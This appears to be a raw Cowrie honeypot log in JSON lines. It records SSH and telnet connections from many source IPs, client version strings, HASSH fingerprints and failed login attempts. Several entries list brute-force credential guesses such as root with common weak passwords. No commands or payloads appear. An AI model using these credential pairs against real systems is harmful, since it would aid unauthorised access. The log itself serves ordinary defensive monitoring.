{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:15:57.655625Z","src_ip":"223.171.92.36","session":"bca639c11b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:05.484290Z","src_ip":"223.171.92.36","session":"bca639c11b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57022,"dst_ip":"10.17.0.5","dst_port":22,"session":"377b3980fef9","protocol":"ssh","message":"New connection: 103.15.226.202:57022 (10.17.0.5:22) [session: 377b3980fef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:18.180377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:18.187283Z","src_ip":"103.15.226.202","session":"377b3980fef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:18.435537Z","src_ip":"103.15.226.202","session":"377b3980fef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:19.179408Z","src_ip":"103.15.226.202","session":"377b3980fef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:20.432919Z","src_ip":"103.15.226.202","session":"377b3980fef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.85.237.29","src_port":36063,"dst_ip":"159.203.135.109","dst_port":23,"session":"381e229297e4","protocol":"telnet","message":"New connection: 24.85.237.29:36063 (159.203.135.109:23) [session: 381e229297e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:22.224095Z"}
{"eventid":"cowrie.session.closed","duration":13.649741649627686,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:16:35.873683Z","src_ip":"24.85.237.29","session":"381e229297e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":37904,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc528581469","protocol":"ssh","message":"New connection: 57.128.223.80:37904 (10.17.0.5:22) [session: bfc528581469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:17:00.666160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:17:00.714228Z","src_ip":"57.128.223.80","session":"bfc528581469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:17:00.815190Z","src_ip":"57.128.223.80","session":"bfc528581469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:17:01.225019Z","src_ip":"57.128.223.80","session":"bfc528581469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:17:02.336335Z","src_ip":"57.128.223.80","session":"bfc528581469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.199.20.30","src_port":56300,"dst_ip":"10.17.0.5","dst_port":23,"session":"7db32cd65775","protocol":"telnet","message":"New connection: 68.199.20.30:56300 (10.17.0.5:23) [session: 7db32cd65775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:16.162252Z"}
{"eventid":"cowrie.session.closed","duration":12.213064670562744,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:28.375183Z","src_ip":"68.199.20.30","session":"7db32cd65775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13337,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22b4ac893e5","protocol":"telnet","message":"New connection: 212.55.149.117:13337 (10.17.0.5:23) [session: e22b4ac893e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:34.033823Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74f36ea6b73","protocol":"ssh","message":"New connection: 103.15.226.202:34184 (10.17.0.5:22) [session: d74f36ea6b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:53.589072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:53.599729Z","src_ip":"103.15.226.202","session":"d74f36ea6b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:53.858510Z","src_ip":"103.15.226.202","session":"d74f36ea6b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX123","message":"login attempt [root/1qaz@WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:54.905219Z","src_ip":"103.15.226.202","session":"d74f36ea6b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:19:56.154418Z","src_ip":"103.15.226.202","session":"d74f36ea6b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.235.82.68","src_port":52917,"dst_ip":"159.203.135.109","dst_port":23,"session":"8149a2593a6d","protocol":"telnet","message":"New connection: 51.235.82.68:52917 (159.203.135.109:23) [session: 8149a2593a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:20:23.469402Z"}
{"eventid":"cowrie.session.closed","duration":61.323981285095215,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:20:35.357705Z","src_ip":"212.55.149.117","session":"e22b4ac893e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.708995342254639,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:20:37.178301Z","src_ip":"51.235.82.68","session":"8149a2593a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20754,"dst_ip":"159.203.135.109","dst_port":22,"session":"72be744e4126","protocol":"ssh","message":"New connection: 194.59.206.2:20754 (159.203.135.109:22) [session: 72be744e4126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:16.452495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:16.460696Z","src_ip":"194.59.206.2","session":"72be744e4126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:16.553540Z","src_ip":"194.59.206.2","session":"72be744e4126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:16.735626Z","src_ip":"194.59.206.2","session":"72be744e4126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":38828,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1bdf5ab59e1","protocol":"ssh","message":"New connection: 57.128.223.80:38828 (10.17.0.5:22) [session: e1bdf5ab59e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:39.060318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:39.077998Z","src_ip":"57.128.223.80","session":"e1bdf5ab59e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:39.177788Z","src_ip":"57.128.223.80","session":"e1bdf5ab59e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345678","message":"login attempt [minecraft/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:39.589256Z","src_ip":"57.128.223.80","session":"e1bdf5ab59e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:40.699793Z","src_ip":"57.128.223.80","session":"e1bdf5ab59e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":11577,"dst_ip":"159.203.135.109","dst_port":22,"session":"1975fbb63274","protocol":"ssh","message":"New connection: 193.24.211.100:11577 (159.203.135.109:22) [session: 1975fbb63274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:53.590090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:53.622900Z","src_ip":"193.24.211.100","session":"1975fbb63274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:53.708364Z","src_ip":"193.24.211.100","session":"1975fbb63274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsx","message":"login attempt [root/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:54.131451Z","src_ip":"193.24.211.100","session":"1975fbb63274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:22:55.248816Z","src_ip":"193.24.211.100","session":"1975fbb63274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":12575,"dst_ip":"10.17.0.5","dst_port":22,"session":"6381669274f7","protocol":"ssh","message":"New connection: 27.74.248.52:12575 (10.17.0.5:22) [session: 6381669274f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:05.779510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:05.785283Z","src_ip":"27.74.248.52","session":"6381669274f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:06.255141Z","src_ip":"27.74.248.52","session":"6381669274f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r@@t","message":"login attempt [root/r@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:07.623618Z","src_ip":"27.74.248.52","session":"6381669274f7","protocol":"ssh"}
